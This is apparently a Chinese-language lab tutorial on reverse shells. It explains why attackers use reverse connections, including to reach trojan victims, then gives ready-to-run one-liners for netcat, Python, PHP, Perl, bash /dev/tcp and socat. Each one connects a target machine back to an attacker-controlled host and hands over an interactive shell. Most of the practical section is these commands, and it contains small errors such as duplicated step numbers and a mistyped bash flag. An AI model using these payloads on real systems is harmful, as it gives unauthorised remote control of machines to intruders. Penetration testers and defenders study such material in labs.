前言
那么为什么要用反弹shell呢?
反弹shell通常适用于如下几种情况:
•目标机因防火墙受限,目标机器只能发送请求,不能接收请求。•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。•…
对于以上几种情况,我们是无法利用正向连接的,要用反向连接。
那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。
反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。
利用netcat反弹shell
Netcat 是一款简单的Unix工具,使用UDP和TCP协议。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。使用它你可以轻易的建立任何连接。
一、实验环境
Kali:192.168.32.132 //模拟靶机
Windows:192.168.xxx.1//模拟公网攻击机
关于windows安装nc:Windows 下载安装 netcat(nc)命令,测试UPD连接 - 我命由我不由天—hao - 博客园 (cnblogs.com)
下载时需要关闭实时保护
二、实操
1、若靶机上存在nc,获取反向shell:
攻击机:nc -lvp 9999 // 监听9999端口
靶机:nc 1.1.1.1 9999 -e /bin/bash // Linux正向连接公网vps1.1.1.1的9999端口
nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows
2、 靶机存在Python环境,Python反弹shell
攻击机:nc -lvp 6666
靶机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.1",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3、靶机存在PHP环境,PHP反向shell:
攻击机:nc -lvp 6666
靶机:php -r '$sock=fsockopen("192.168.32.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
4、靶机存在Perl环境,Perl反弹shell:
攻击机:nc -lvp 6666
靶机:perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
4、bash反弹shell
攻击机:nc -lvp 6666
靶机:bash -I >& /dev/tcp/192.168.32.1/6666 0>&1
5、利用Socat反弹shell
socat TCP-LISTEN:2333 -或nc -lvvp 2333
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane